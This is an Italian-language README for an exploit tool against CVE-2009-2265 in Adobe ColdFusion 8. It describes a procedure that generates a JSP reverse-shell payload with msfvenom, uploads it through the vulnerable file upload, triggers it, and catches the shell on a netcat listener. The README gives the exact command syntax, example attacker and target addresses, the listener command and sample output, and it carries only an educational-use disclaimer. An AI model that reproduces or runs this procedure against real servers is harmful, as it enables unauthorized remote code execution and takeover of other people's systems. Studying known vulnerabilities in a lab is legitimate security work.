Adobe ColdFusion 8 - Exploit di Esecuzione Remota di Comandi (RCE)

Panoramica

Questo exploit prende di mira una vulnerabilità nota in Adobe ColdFusion 8 (CVE-2009-2265). Consente l'esecuzione remota di comandi (RCE) caricando un payload JSP dannoso che stabilisce una connessione reverse shell.

---

Dettagli dell'Exploit

• CVE: CVE-2009-2265
• Vulnerabilità: Gestione impropria del caricamento di file in Adobe ColdFusion 8.
• Versioni Affette: Adobe ColdFusion 8.
• Impatto: Consente agli aggressori di eseguire comandi arbitrari sul server.

---

Caratteristiche

1. Genera automaticamente un payload JSP usando msfvenom.
2. Carica il payload utilizzando una richiesta POST multipart.
3. Attiva il payload per stabilire una reverse shell.
4. Pulisce automaticamente i file payload locali dopo l'esecuzione.

---

Utilizzo

Per utilizzare questo exploit, è necessario:

• Una macchina Kali Linux o un ambiente di penetration testing simile.
• Netcat installato per l'ascolto sulla porta specificata.
• Un server Adobe ColdFusion 8 vulnerabile.

---

Sintassi del Comando

./CVE-2009-2265 -l <LHOST> -p <LPORT> -r <RHOST> -q <RPORT>

Argomenti

• -l <LHOST>: IP locale dell'attaccante (es. 10.10.16.5).
• -p <LPORT>: Porta locale dell'attaccante per la reverse shell (es. 9001).
• -r <RHOST>: IP remoto del bersaglio (es. 10.10.10.11).
• -q <RPORT>: Porta remota del bersaglio su cui è in esecuzione ColdFusion (es. 8500).

---

Esempio di Utilizzo

./CVE-2009-2265 -l 10.10.16.5 -p 9001 -r 10.10.10.11 -q 8500

1. Avvia un listener sulla macchina attaccante:

   nc -lnvp 9001
   

2. Esegui l'exploit con gli argomenti appropriati.

3. Una volta eseguito, il payload si collegherà al tuo listener.

---

Come Funziona

1. Genera Payload:

   • Lo script utilizza msfvenom per generare un payload JSP dannoso.
   • Il payload avvia una reverse shell verso il LHOST e LPORT specificati.

2. Carica Payload:

   • Il payload viene caricato sul server ColdFusion vulnerabile tramite una richiesta POST.

3. Attiva Payload:

   • Il payload caricato viene eseguito inviando una richiesta GET all'URL del file.

4. Stabilisci Reverse Shell:

   • Viene stabilita una reverse shell, fornendo all'attaccante l'accesso al sistema bersaglio.

---

Requisiti

• msfvenom per la generazione del payload.
• curl per il caricamento del file e l'attivazione del payload.
• nc (Netcat) per l'ascolto delle connessioni reverse shell.

---

Output di Esempio

[+] Generazione del payload JSP per reverse shell...
[+] Payload salvato come 'abcd1234-5678-90ef-ghij-1234567890ab.jsp'.
[+] Caricamento del payload sul bersaglio...
[+] Risposta del server:
    <script type="text/javascript">
        window.parent.OnUploadCompleted(0, "/userfiles/file/abcd1234-5678-90ef-ghij-1234567890ab.jsp", "abcd1234-5678-90ef-ghij-1234567890ab.txt", "0");
    </script>
[+] In attesa che il listener Netcat si avvii sulla porta 9001...
[+] Listener Netcat rilevato in esecuzione sulla porta 9001!
[+] Tentativo di attivazione del payload...
[+] Payload attivato con successo. Controlla il tuo listener per la reverse shell.
[+] Pulizia dei file locali...
[+] Fatto!

---

Disclaimer

Questo script è destinato esclusivamente a scopi educativi. Utilizzalo su sistemi di tua proprietà o per i quali hai esplicita autorizzazione. L'uso non autorizzato di questo exploit su sistemi che non possiedi è illegale e non etico.

---

Autore

Sviluppato da [0xDTC].